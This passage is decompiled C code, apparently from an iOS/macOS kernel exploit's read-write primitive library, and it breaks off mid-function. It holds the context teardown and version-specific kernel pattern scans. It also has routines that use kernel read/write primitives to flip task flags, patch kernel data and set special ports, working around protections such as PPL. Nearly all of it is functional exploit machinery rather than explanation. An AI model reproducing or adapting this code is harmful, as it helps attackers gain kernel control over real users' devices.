    || *((uint32_t *)a1 + 1613) != -1
    || *((uint32_t *)a1 + 1616) != -1 )
  {
    v27 = -1;
    if ( !(unsigned int)fd_open_dev_null(&v27) )
    {
      v4 = *((uint32_t *)a1 + 1614);
      if ( v4 != -1 )
      {
        close(v4);
        *((uint32_t *)a1 + 1614) = -1;
      }
      v5 = *((uint32_t *)a1 + 1615);
      if ( v5 != -1 )
      {
        close(v5);
        *((uint32_t *)a1 + 1615) = -1;
      }
      v6 = *((uint32_t *)a1 + 1616);
      if ( v6 != -1 )
      {
        close(v6);
        *((uint32_t *)a1 + 1616) = -1;
      }
      v7 = *((uint32_t *)a1 + 1612);
      if ( v7 != -1 )
      {
        close(v7);
        *((uint32_t *)a1 + 1612) = -1;
      }
      v8 = *((uint32_t *)a1 + 1613);
      if ( v8 != -1 )
      {
        close(v8);
        *((uint32_t *)a1 + 1613) = -1;
      }
      fd_close(v27);
    }
  }
  if ( *((uint64_t *)a1 + 5) )
    teardown_semaphore_helper_ctx((__int64)a1, 1);
  if ( *((uint64_t *)a1 + 43) >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (*a1 & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
    iogpu_teardown_ctx((__int64)a1);
  if ( *((uint64_t *)a1 + 937) )
  {
    v27 = -1;
    if ( !(unsigned int)fd_open_dev_null(&v27) )
    {
      teardown_sptm_pgtable_state((__int64)a1);
      fd_close(v27);
    }
  }
  if ( (unsigned int)(*((uint32_t *)a1 + 23) + 1) >= 2 )
  {
    v27 = -1;
    if ( !(unsigned int)fd_open_dev_null(&v27) )
    {
      cleanup_ioconnect_resources((__int64)a1);
      fd_close(v27);
    }
  }
  if ( (unsigned int)(*((uint32_t *)a1 + 43) + 1) >= 2 )
  {
    v27 = -1;
    if ( !(unsigned int)fd_open_dev_null(&v27) )
    {
      join_destroy_krw_thread((__int64)a1);
      fd_close(v27);
    }
  }
  teardown_krw_thread((struct_krwCtx *)a1);
  mach_port_deallocate(mach_task_self_, *((uint32_t *)a1 + 1608));
  v9 = *((uint32_t *)a1 + 1609);
  if ( v9 + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, v9);
  v10 = *((uint32_t *)a1 + 4);
  if ( v10 + 1 >= 2 )
    IOObjectRelease(v10);
  if ( (unsigned int)(*((uint32_t *)a1 + 1590) + 1) >= 2 )
    *((uint32_t *)a1 + 1590) = 0;
  v11 = *((uint64_t *)a1 + 35);
  if ( v11 )
  {
    v12 = *((uint64_t *)a1 + 36);
    if ( v12 )
      vm_deallocate(mach_task_self_, v11, v12);
  }
  v13 = *((uint32_t *)a1 + 153);
  if ( v13 + 1 >= 2 )
  {
    semaphore_destroy(mach_task_self_, v13);
    *((uint32_t *)a1 + 153) = 0;
  }
  if ( !pthread_mutex_lock((pthread_mutex_t *)(a1 + 816)) )
  {
    v14 = (uint32_t *)*((uint64_t *)a1 + 110);
    *((uint64_t *)a1 + 110) = 0;
    if ( v14 )
    {
      do
      {
        v15 = v14[7];
        if ( v15 + 1 >= 2 )
          mach_port_mod_refs(mach_task_self_, v15, 1u, -1);
        v16 = *(uint32_t **)v14;
        *((uint64_t *)v14 + 4) = 0;
        *(__int128 *)v14 = 0u;
        *((__int128 *)v14 + 1) = 0u;
        free(v14);
        v14 = v16;
      }
      while ( v16 );
    }
    pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816));
  }
  pthread_mutex_destroy((pthread_mutex_t *)(a1 + 816));
  pthread_mutex_destroy((pthread_mutex_t *)(a1 + 616));
  v17 = *((uint64_t *)a1 + 931);
  if ( v17 )
  {
    free_kernel_image_resources(v17);
    free(*((void **)a1 + 931));
    *((uint64_t *)a1 + 931) = 0;
  }
  v18 = *((uint64_t *)a1 + 932);
  if ( v18 )
  {
    free_kernel_image_resources(v18);
    free(*((void **)a1 + 932));
    *((uint64_t *)a1 + 932) = 0;
  }
  v19 = *((uint64_t *)a1 + 933);
  if ( v19 )
  {
    free_kernel_image_resources(v19);
    free(*((void **)a1 + 933));
    *((uint64_t *)a1 + 933) = 0;
  }
  v20 = *((uint64_t *)a1 + 934);
  if ( v20 )
  {
    free_kernel_image_resources(v20);
    free(*((void **)a1 + 934));
    *((uint64_t *)a1 + 934) = 0;
  }
  v21 = *((uint64_t *)a1 + 935);
  if ( v21 )
  {
    free_kernel_image_resources(v21);
    free(*((void **)a1 + 935));
    *((uint64_t *)a1 + 935) = 0;
  }
  v22 = *((uint64_t *)a1 + 832);
  if ( v22 )
  {
    free_kernel_image_resources(v22);
    free(*((void **)a1 + 832));
    *((uint64_t *)a1 + 832) = 0;
  }
  v23 = *((uint64_t *)a1 + 831);
  if ( v23 )
  {
    free_kernel_image_resources(v23);
    free(*((void **)a1 + 831));
    *((uint64_t *)a1 + 831) = 0;
  }
  v24 = (void *)*((uint64_t *)a1 + 930);
  if ( v24 )
  {
    free(v24);
    *((uint64_t *)a1 + 930) = 0;
    *((uint32_t *)a1 + 1858) = 0;
  }
  v25 = *((uint32_t *)a1 + 58);
  if ( v25 + 1 >= 2 )
  {
    mach_port_deallocate(mach_task_self_, v25);
    *((uint32_t *)a1 + 58) = 0;
  }
  bzero(a1, 0x1D60u);
  free(a1);
  return 0;
}

//----- (000000000003F8C0) ----------------------------------------------------
__int64 __fastcall set_flags_something_INEEDTOLOOK_sub_3F8C0(__int64 a1, unsigned int a2, int a3, int a4)
{
  __int64 result; // x0
  unsigned __int64 v8; // x22
  int v9; // w9
  int v10; // w2
  int v11; // [xsp+Ch] [xbp-34h] BYREF

  if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    v8 = get_task_kobj_with_offset(a1, a2);
    if ( !v8 )
      return 0;
  }
  else
  {
    result = get_task_kobj_via_physmap((struct_krwCtx *)a1, a2);
    if ( !result )
      return result;
    v8 = result + 40;
    if ( result == -40 )
      return 0;
  }
  result = kread_u32(a1, v8, &v11);
  if ( !(uint32_t)result )
    return result;
  if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    v9 = 0xF0000000;
  else
    v9 = -2;
  if ( (v9 & v11) != 0 )
    return 0;
  if ( a4 )
    v10 = v11 | a3;
  else
    v10 = v11 & ~a3;
  if ( v10 == v11 )
    return 1;
  result = ppl_kwrite32((struct_krwCtx *)a1, v8, v10);
  if ( (uint32_t)result )
    return 1;
  return result;
}

//----- (000000000003F9A0) ----------------------------------------------------
bool __fastcall check_krw_necp_state(struct_krwCtx *a1, bool *a2)
{
  bool result; // w0
  unsigned __int8 v5; // [xsp+Fh] [xbp-21h] BYREF
  __int64 v6; // [xsp+10h] [xbp-20h] BYREF
  __int64 address; // [xsp+18h] [xbp-18h] BYREF

  v6 = 0;
  address = 0;
  result = find_kernel_text_exec_section((__int64)a1, &address, &v6);
  if ( (uint32_t)result )
  {
    krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
    if ( (unsigned int)krw_read_thunk(a1, address, 1, &v5) && v5 <= 1u )
    {
      *a2 = v5 != 0;
      return true;
    }
    else
    {
      return false;
    }
  }
  return result;
}

//----- (000000000003FA2C) ----------------------------------------------------
bool __fastcall check_dispatch_krw_state(struct_krwCtx *a1, int a2)
{
  bool result; // w0
  unsigned __int64 v5; // x22
  unsigned __int64 v6; // x21
  int v7; // w8
  __int64 v8; // x21
  unsigned __int8 v9; // [xsp+Eh] [xbp-32h] BYREF
  unsigned __int8 v10; // [xsp+Fh] [xbp-31h] BYREF
  unsigned __int64 v11; // [xsp+10h] [xbp-30h] BYREF
  unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF

  v11 = 0;
  v12 = 0;
  result = find_kernel_text_exec_section((__int64)a1, (__int64 *)&v11, (__int64 *)&v12);
  if ( (uint32_t)result )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
    {
      v5 = v12;
      if ( !(unsigned int)krw_read_thunk(a1, v12, 1, &v10) )
        return false;
      if ( v10 > 1u )
        return false;
      v6 = v11;
      if ( !(unsigned int)krw_read_thunk(a1, v11, 1, &v9) )
        return false;
      v7 = v9;
      if ( v9 > 1u )
        return false;
      if ( v10 != a2 )
      {
        v10 = a2;
        if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v5, &v10, 1) )
          return false;
        v7 = v9;
      }
      if ( v7 != a2 )
      {
        v9 = a2;
        if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v6, &v9, 1) )
          return false;
      }
    }
    else
    {
      v8 = v11;
      if ( !(unsigned int)krw_read_thunk(a1, v11, 1, &v10) )
        return false;
      if ( v10 > 1u )
        return false;
      if ( v10 != a2 )
      {
        v10 = a2;
        if ( !(unsigned int)kwrite_with_retry((__int64)a1, v8, (__int64)&v10, 1) )
          return false;
      }
    }
    return true;
  }
  return result;
}

//----- (000000000003FB84) ----------------------------------------------------
bool __fastcall find_kernel_text_exec_section(__int64 a1, __int64 *a2, __int64 *a3)
{
  __int64 v6; // x8
  __int64 v7; // x22
  __int64 v8; // x23
  __int64 v10; // x22
  int v11; // w22
  char *v12; // x1
  __int64 v13; // x23
  __int64 v15; // x8
  unsigned __int64 pattern; // x0
  unsigned __int64 func; // x0
  __int64 sect[3]; // [xsp+0h] [xbp-50h] BYREF
  __int64 v19; // [xsp+18h] [xbp-38h] BYREF

  v19 = 0;
  v8 = 0;
  v6 = *(uint64_t *)(a1 + 280);
  if ( v6 && *(uint64_t *)(a1 + 288) )
  {
    v7 = *(uint64_t *)(v6 + 328);
    v19 = v7;
    if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && v7 )
    {
      *a2 = v7;
      return true;
    }
    v8 = *(uint64_t *)(*(uint64_t *)(a1 + 280) + 320LL);
    if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && v7 && v8 != 0 )
    {
      *a2 = v7;
      *a3 = v8;
      return true;
    }
  }
  if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
  {
    macho_getsectbyname("__TEXT_EXEC", *(uint64_t *)(a1 + 6648), "__text", sect);
    if ( !sect[1] || !sect[2] )
      return false;
    pattern = kernel_pattern_scan((__int64)sect, "08 01 40 39 08 01 00 12", 0);
    if ( !pattern )
      return false;
    func = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(pattern - 12));
    if ( !func )
      return false;
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, func, (unsigned __int64 *)&v19) )
      return false;
    *a2 = v19;
    v10 = v19 - 1;
    goto LABEL_40;
  }
  else if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
  {
    v11 = *(uint32_t *)(a1 + 320);
    resolve_kernel_text_range((uint64_t *)sect, (struct_krwCtx *)a1);
    if ( !sect[1] || !sect[2] )
      return false;
    v12 = v11 <= 8795 ? "6A 00 00 37 40 00 00 34" : "6B 00 00 37 40 00 00 34";
    pattern = kernel_pattern_scan((__int64)sect, v12, 0);
    if ( !pattern )
      return false;
    v13 = pattern;
    func = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(pattern - 16));
    if ( !func )
      return false;
    v10 = func;
    func = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(v13 - 8));
    if ( !func )
      return false;
    v19 = func;
    *a2 = func;
    v8 = v10;
LABEL_40:
    *a3 = v10;
    v15 = *(uint64_t *)(a1 + 280);
    if ( v15 && *(uint64_t *)(a1 + 288) )
    {
      *(uint64_t *)(v15 + 320) = v8;
      *(uint64_t *)(v15 + 328) = v19;
    }
    return true;
  }
  else
  {
    resolve_kernel_text_range((uint64_t *)sect, (struct_krwCtx *)a1);
    if ( sect[1] && sect[2] )
    {
      if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8796, 100, 721, 0, 0) )
      {
        pattern = kernel_pattern_scan((__int64)sect, "09 FD 9F 08 C0 03 5F D6", 0);
        if ( !pattern )
          return false;
        func = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(pattern - 12));
      }
      else
      {
        pattern = kernel_pattern_scan((__int64)sect, "09 01 00 39 C0 03 5F D6", 0);
        if ( !pattern )
          return false;
        func = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(pattern - 12));
        if ( !func )
          return false;
        func = macho_read_u64_thunk(*(uint64_t *)(a1 + 6648), func);
      }
      v19 = func;
      if ( !func )
        return false;
      v10 = 0;
      *a2 = func;
      goto LABEL_40;
    }
  }
  return false;
}
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);

//----- (000000000003FE68) ----------------------------------------------------
int __fastcall update_physmap_table_entry_count(__int64 a1, task_inspect_t a2, host_t *a3)
{
  host_t v4; // w2
  int result; // w0

  v4 = *(uint32_t *)(a1 + 0x1920);
  if ( v4 + 1 < 2 )
    return 0;
  if ( *(uint64_t *)(a1 + 0x158) >= 0x1C1B1914600000uLL )
  {
    result = set_task_special_port_and_patch_uid(a1, a2, v4);
    if ( !result )
      return result;
    v4 = *(uint32_t *)(a1 + 0x1920);
  }
  *a3 = v4;
  return 1;
}
// 3FEB8: variable 'v6' is possibly undefined

//----- (000000000003FED4) ----------------------------------------------------
uint64_t *__fastcall alloc_kobj_snapshot_buf(__int64 a1, __int64 a2)
{
  uint64_t *v4; // x21
  uint64_t *v5; // x22
  size_t v6; // x19
  void *v7; // x23
  __int64 v8; // x8

  v4 = calloc(1u, 0x18u);
  v5 = calloc(1u, 0x48u);
  kread_via_kobject(a1, a2, (__int64)v5, 72);
  *v4 = v5;
  v6 = v5[4];
  v7 = malloc(v6);
  kread_via_kobject(a1, v5[3], (__int64)v7, v6);
  v8 = v5[4];
  v4[1] = v7;
  v4[2] = v8;
  return v4;
}

//----- (000000000003FF78) ----------------------------------------------------
__int64 __fastcall read_u32_from_kobj_snapshot(__int64 a1, uint64_t *a2, __int64 a3)
{
  return *(unsigned int *)(a2[1] + a3 - *(uint64_t *)(*a2 + 24LL));
}

//----- (000000000003FF8C) ----------------------------------------------------
unsigned __int64 __fastcall kobj_snapshot_lookup_wrapper(uint64_t **a1, __int64 a2, __int64 a3, unsigned int a4)
{
  return kobj_snapshot_pattern_search((__int64)a1, *a1, a2, a3, a4);
}

//----- (000000000003FFA0) ----------------------------------------------------
unsigned __int64 __fastcall kobj_snapshot_pattern_search(__int64 a1, uint64_t *a2, __int64 a3, __int64 a4, unsigned int a5)
{
  unsigned __int64 v5; // x8
  unsigned __int64 v6; // x9
  unsigned __int64 v7; // x10
  __int64 v8; // x12
  unsigned __int64 result; // x0

  v5 = a2[1];
  v6 = v5 + a2[2] - 4LL * a5;
  if ( v6 <= v5 )
    return 0LL;
  v7 = a2[1];
  while ( a5 )
  {
    v8 = 0LL;
    while ( (*(uint32_t *)(a4 + v8) & *(uint32_t *)(v7 + v8)) == *(uint32_t *)(a3 + v8) )
    {
      v8 += 4LL;
      if ( 4LL * a5 == v8 )
        return v7 - v5 + *(uint64_t *)(*a2 + 24LL);
    }
    result = 0LL;
    v7 += 4LL;
    if ( v7 >= v6 )
      return result;
  }
  v7 = a2[1];
  return v7 - v5 + *(uint64_t *)(*a2 + 24LL);
}

//----- (0000000000040024) ----------------------------------------------------
unsigned __int64 __fastcall kobj_snapshot_pattern_search_via_ctx(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
{
  return kobj_snapshot_pattern_search(a1, *(uint64_t **)(a1 + 8), a2, a3, a4);
}

//----- (0000000000040038) ----------------------------------------------------
uint64_t *__fastcall find_section_in_macho_snapshot(__int64 a1, const char *a2)
{
  unsigned __int64 *v4; // x0
  unsigned __int64 v5; // x21
  int v6; // w0
  int v7; // w22
  unsigned __int64 v8; // x21
  int v9; // w24
  unsigned int v10; // w23
  char __s1[8]; // [xsp+8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+10h] [xbp-40h]

  v4 = *(unsigned __int64 **)(a1 + 16);
  v5 = *v4;
  if ( (unsigned int)kread_u32_value((__int64)v4, *v4) != -17958193 )
    return 0;
  v6 = kread_u32_value(*(uint64_t *)(a1 + 16), v5 + 16);
  if ( !v6 )
    return 0;
  v7 = v6;
  v8 = v5 + 32;
  while ( 1 )
  {
    v9 = kread_u32_value(*(uint64_t *)(a1 + 16), v8);
    v10 = kread_u32_value(*(uint64_t *)(a1 + 16), v8 + 4);
    if ( v9 == 25 )
    {
      *(uint64_t *)__s1 = 0;
      v13 = 0;
      kread_via_kobject(*(uint64_t *)(a1 + 16), v8 + 8, (__int64)__s1, 16);
      if ( !strcmp(__s1, a2) )
        break;
    }
    v8 += v10;
    if ( !--v7 )
      return 0;
  }
  return alloc_kobj_snapshot_buf(*(uint64_t *)(a1 + 16), v8);
}

//----- (000000000004014C) ----------------------------------------------------
__int64 __fastcall init_text_exec_data_const_sections(uint64_t *a1)
{
  uint64_t *v2; // x0
  bool v3; // zf

  *a1 = find_section_in_macho_snapshot((__int64)a1, "__TEXT_EXEC");
  v2 = find_section_in_macho_snapshot((__int64)a1, "__DATA_CONST");
  a1[1] = v2;
  if ( v2 )
    v3 = *a1 == 0;
  else
    v3 = 1;
  if ( v3 )
    return 5;
  else
    return 0;
}

//----- (00000000000401A4) ----------------------------------------------------
__int64 __fastcall compute_optimal_kobj_stride(__int64 result, __int64 a2)
{
  unsigned int v2; // w8
  unsigned int v3; // w9

  v2 = *(uint32_t *)(result + 384);
  if ( !((unsigned int)a2 % v2) )
    return a2;
  v3 = 2 * v2;
  if ( 2 * v2 > 0x8000 )
    return *(unsigned int *)(result + 384);
  LODWORD(result) = *(uint32_t *)(result + 384);
  do
  {
    if ( 100 * (v3 % (unsigned int)a2) / v3 >= 100 * ((unsigned int)result % (unsigned int)a2) / (unsigned int)result )
      result = (unsigned int)result;
    else
      result = v3;
    v3 += v2;
  }
  while ( v3 <= 0x8000 );
  return result;
}

//----- (0000000000040210) ----------------------------------------------------
__int64 __fastcall compute_kobj_scan_halfstride(__int64 a1)
{
  unsigned int v1; // w8

  v1 = 4 * *(uint32_t *)(a1 + 384);
  if ( v1 <= 0x4000 )
    v1 = 0x4000;
  return (v1 >> 1) | 1;
}

//----- (0000000000040230) ----------------------------------------------------
__int64 __fastcall get_voucher_attr_recipe_versioned(__int64 a1, __int128 *a2, uint32_t *a3)
{
  int v3; // w8
  __int64 result; // x0
  bool v5; // zf
  int v6; // w9

  v3 = *(uint32_t *)(a1 + 320);
  result = 0xFFFFFFFFLL;
  if ( v3 > 8791 )
  {
    v5 = v3 == 8792 || v3 == 10002;
    v6 = 8796;
  }
  else
  {
    v5 = (unsigned int)(v3 - 8019) < 2 || v3 == 6153;
    v6 = 7195;
  }
  if ( v5 || v3 == v6 )
  {
    if ( a2 )
    {
      if ( *a3 < 0x1Bu )
        return 0xFFFFFFFFLL;
      *a2 = xmmword_43760;
      a2[1] = unk_43770;
      *(__int128 *)((char *)a2 + 92) = unk_437BC;
      a2[4] = xmmword_437A0;
      a2[5] = unk_437B0;
      a2[2] = xmmword_43780;
      a2[3] = unk_43790;
    }
    result = 0LL;
    *a3 = 27;
  }
  return result;
}
// 43760: using guessed type __int128 xmmword_43760;
// 43780: using guessed type __int128 xmmword_43780;
// 437A0: using guessed type __int128 xmmword_437A0;

//----- (00000000000402CC) ----------------------------------------------------
__int64 __fastcall voucher_attr_recipe_scan(__int64 a1, unsigned int a2)
{
  __int64 result; // x0
  __int64 v4; // x8
  unsigned int *i; // x9
  unsigned int v6; // [xsp+4h] [xbp-11Ch] BYREF
  __int128 v7[16]; // [xsp+8h] [xbp-118h] BYREF

  v6 = 64;
  if ( (unsigned int)get_voucher_attr_recipe_versioned(a1, v7, &v6) )
    return 0;
  v4 = v6;
  if ( !v6 )
    return 0;
  for ( i = (unsigned int *)v7; ; ++i )
  {
    result = *i;
    if ( (unsigned int)result >= a2 )
      break;
    if ( !--v4 )
      return 0;
  }
  return result;
}

//----- (0000000000040364) ----------------------------------------------------
__int64 __fastcall find_aligned_kaddr_in_region(__int64 a1, unsigned __int64 a2, unsigned int a3, unsigned int a4)
{
  unsigned __int64 v4; // x10
  __int64 v5; // x8
  unsigned __int64 v6; // x11
  unsigned __int64 v7; // x12
  unsigned __int64 v8; // x10
  unsigned __int64 v9; // x10

  v4 = *(unsigned int *)(a1 + 384);
  if ( (uint32_t)v4 == a4 )
  {
    a2 &= ~*(uint64_t *)(a1 + 392);
  }
  else
  {
    v5 = a4 % a3;
    if ( *(uint64_t *)(a1 + 344) >> 43 < 0x44BuLL )
      v5 = 0LL;
    v6 = a2 + a3;
    v7 = v6 % v4;
    v8 = v4 - v6 % v4;
    if ( !v7 )
      v8 = 0LL;
    v9 = v6 - a4 + v8;
    while ( v5 != (*(uint64_t *)(a1 + 392) & a2) )
    {
      a2 -= a3;
      if ( a2 < v9 )
        return 0LL;
    }
  }
  return a2;
}

//----- (00000000000403E0) ----------------------------------------------------
unsigned __int64 __fastcall kernel_cstring_pattern_scan(__int64 a1, const char *a2)
{
  int v4; // w8
  unsigned __int64 v5; // x21
  __int64 v6; // x23
  unsigned __int64 v7; // x0
  unsigned __int64 v8; // x22
  __int64 v9; // x25
  unsigned __int64 v10; // x0
  unsigned __int64 v11; // x23
  unsigned __int64 v12; // x8
  unsigned __int64 v13; // x0
  const char *v14; // x24
  char *v15; // x22
  char v16; // w26
  __int64 v17; // x27
  __int64 v18; // x0
  sub_197A8_result v19; // x0,x1
  uint64_t v20[3]; // [xsp-10h] [xbp-F0h]
  __int64 *scan_range[3]; // [xsp+8h] [xbp-D8h] BYREF
  uint64_t v24[3]; // [xsp+20h] [xbp-C0h] BYREF
  uint8_t v25[80]; // [xsp+38h] [xbp-A8h] BYREF

  v4 = *(uint32_t *)(a1 + 320);
  if ( (unsigned int)(v4 - 8019) >= 2 )
  {
    if ( v4 != 7195 )
      return 0;
    if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
      v5 = 136;
    else
      v5 = 168;
    v6 = 402;
  }
  else
  {
    v5 = 168;
    v6 = 649;
  }
  v7 = *(uint64_t *)(a1 + 6560);
  if ( v7 )
    goto LABEL_9;
  if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
    v15 = "28 69 68 78 09 11 80 52";
  else
    v15 = "08 29 40 92 09 15 80 52";
  v20[0] = v15;
  v20[1] = 0;
  v16 = 1;
  v17 = 1;
  if ( v15 )
  {
LABEL_22:
    macho_find_text_section(*(uint64_t *)(a1 + 6648), v24);
    v18 = kernel_pattern_scan((__int64)v24, v15, 0);
    if ( !v18 )
      goto LABEL_23;
    v7 = find_kernel_func_aligned(*(__int64 **)(a1 + 6648), v18 + 8);
    if ( v7 )
    {
      *(uint64_t *)(a1 + 6560) = v7;
LABEL_9:
      v8 = v5 + v7;
      v9 = v6 - 1;
      do
      {
        scan_range[0] = *(__int64 **)(a1 + 6648);
        scan_range[1] = (__int64 *)v8;
        scan_range[2] = (__int64 *)v5;
        v19 = macho_find_segment(scan_range, 1);
        v10 = v19.addr;
        if ( !v10 )
          break;
        v11 = v10;
        macho_walk_segment_by_name_0(*(uint64_t *)(a1 + 6648), v10, v5, 0);
        v12 = *(uint64_t *)(v11 + 16);
        if ( v12 )
        {
          scan_range[0] = *(__int64 **)(a1 + 6648);
          scan_range[1] = (__int64 *)v12;
          scan_range[2] = (__int64 *)80;
          v19 = macho_find_segment(scan_range, 0);
          v13 = v19.addr;
          if ( v13 )
          {
            v14 = (const char *)v13;
            macho_walk_segment_by_name_0(*(uint64_t *)(a1 + 6648), v13, 0x50u, 0);
          }
          else
          {
            v14 = v25;
            v25[0] = 0;
            krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)(v11 + 16), 80, v25);
          }
          if ( !strcmp(a2, v14) )
            return v8;
        }
        v8 += v5;
      }
      while ( --v9 );
    }
  }
  else
  {
LABEL_23:
    while ( (v16 & 1) != 0 )
    {
      v16 = 0;
      v15 = (char *)v20[v17];
      v17 = 2;
      if ( v15 )
        goto LABEL_22;
    }
  }
  return 0;
}
// 48940: using guessed type __int64 __chkstk_darwin(void);
// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);

//----- (000000000004062C) ----------------------------------------------------
__int64 __fastcall find_kfunc_ptr_in_kernel_data(struct_krwCtx *a1, __int64 a2)
{
  __int64 v2; // x19
  int v4; // w8
  unsigned __int64 v8; // x21
  unsigned __int64 v9; // x23
  unsigned __int64 v10; // x27
  __int64 v11; // x24
  __int64 v12; // x0
  unsigned __int64 v13; // x0
  __int64 v14; // x0
  unsigned __int64 v15; // x0
  int v16; // w22
  uint64_t dataSect[3]; // [xsp+8h] [xbp-78h] BYREF
  __int64 v21; // [xsp+20h] [xbp-60h] BYREF
  __int64 v22; // [xsp+28h] [xbp-58h] BYREF

  v2 = 708625;
  v21 = 0;
  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
    return 708616;
  v4 = a1->xnuMajorVersion;
  if ( (unsigned int)(v4 - 8019) >= 2 && v4 != 8792 && v4 != 7195 )
    return 163884;
  v8 = a2 + 40;
  if ( !kread_physmap_decorated(a1, a2 + 40, (unsigned __int64 *)&v22) )
    return 163855;
  if ( v22 )
  {
    if ( validate_kaddr_range((__int64)a1, v22) )
      return 0;
    else
      return 163878;
  }
  macho_getsectbyname("__DATA", a1->gap1921[2], "__data", dataSect);
  v9 = dataSect[1];
  if ( !dataSect[1] || !dataSect[2] )
    return 163855;
  v10 = dataSect[1] + dataSect[2] - 256;
  if ( dataSect[1] < v10 )
  {
    v11 = dataSect[0];
    while ( 1 )
    {
      v12 = macho_read_u64_thunk(v11, v9);
      v13 = maybe_sptm_translate_kaddr(a1, v12);
      if ( check_kaddr_in_physmap(a1, v13) )
      {
        if ( !macho_read_u64_thunk(v11, v9 + 8) && macho_read_u64_thunk(v11, v9 + 16) == 10 )
        {
          if ( macho_read_u64_thunk(v11, v9 + 24) )
          {
            v14 = macho_read_u64_thunk(v11, v9 + 32);
            v15 = maybe_sptm_translate_kaddr(a1, v14);
            if ( check_kaddr_in_physmap(a1, v15) )
              break;
          }
        }
      }
      v9 += a1->stride168;
      if ( v9 >= v10 )
        return v2;
    }
    if ( v9 )
    {
      if ( !noppl_kwrite32((__int64)a1, a2 + 136, 0x10000)
        || !(unsigned int)kwrite_with_retry((__int64)a1, v9 + 24, (__int64)&v21, 8) )
      {
        return 163856;
      }
      v16 = 20;
      v2 = 708619;
      while ( 1 )
      {
        semaphore_timedwait_ns((__int64)a1, 0x3D090u);
        if ( !kread_physmap_decorated(a1, v8, (unsigned __int64 *)&v22) )
          break;
        if ( v22 )
          return 0;
        if ( !--v16 )
          return v2;
      }
      return 163855;
    }
  }
  return v2;
}
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);

//----- (000000000004087C) ----------------------------------------------------
__int64 __fastcall scan_kernel_page_for_pattern(
        struct_krwCtx *a1,
        __int64 a2,
        mach_vm_size_t a3,
        unsigned __int64 a4,
        __int64 (__fastcall *a5)(__int64, __int64),
        __int64 a6)
{
  unsigned int v11; // w26
  __int64 v12; // x25
  __int64 v13; // x8
  __int64 v14; // x24
  unsigned __int64 v15; // x8
  __int64 v16; // x9
  unsigned __int64 v17; // x15
  unsigned __int64 v18; // x16
  unsigned __int64 v19; // x17
  unsigned __int64 v20; // x8
  bool v21; // cc
  int v22; // w0
  int v23; // w22
  int v24; // w8
  __int64 v25; // x0
  unsigned int v26; // w9
  __int64 v27; // x8
  int v28; // w22
  unsigned __int64 v29; // x1
  unsigned int v31; // [xsp+Ch] [xbp-184h] BYREF
  unsigned __int64 v32; // [xsp+10h] [xbp-180h] BYREF
  __int64 v33; // [xsp+18h] [xbp-178h] BYREF
  unsigned __int64 v34; // [xsp+20h] [xbp-170h] BYREF
  unsigned int v35; // [xsp+28h] [xbp-168h] BYREF
  int v36; // [xsp+2Ch] [xbp-164h] BYREF
  __int128 v37[16]; // [xsp+30h] [xbp-160h] BYREF

  v36 = -1;
  v34 = 0;
  LOWORD(v11) = -1;
  v12 = 163855;
  memset(v37, 0, sizeof(v37));
  v13 = 32;
  if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
    v13 = 40;
  if ( !kread_physmap_decorated(a1, v13 + a2, (unsigned __int64 *)&v33) )
  {
    v14 = 163855;
    goto LABEL_56;
  }
  if ( !validate_kaddr_range((__int64)a1, v33) )
    goto LABEL_13;
  if ( (unsigned int)(a3 - 1) > 0xFF )
  {
    v14 = 163857;
    goto LABEL_56;
  }
  v15 = a1->xnuVersionPacked;
  if ( v15 <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
  {
    v20 = a4 | 1;
  }
  else
  {
    v16 = 0;
    v17 = a4;
    v18 = a4;
    v19 = a4;
    while ( (a1->pageMask & v19) != 0 )
    {
      v19 -= (unsigned int)a3;
      v18 += 1LL - (unsigned int)a3;
      v17 += 4LL - (unsigned int)a3;
      if ( (uint32_t)++v16 == 1024 )
      {
        v32 = a4 - ((unsigned __int64)(unsigned int)a3 << 10);
LABEL_13:
        v14 = 163878;
        goto LABEL_56;
      }
    }
    v21 = v15 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023);
    v20 = v17 | 1;
    if ( v21 )
      v20 = v18;
  }
  v32 = v20;
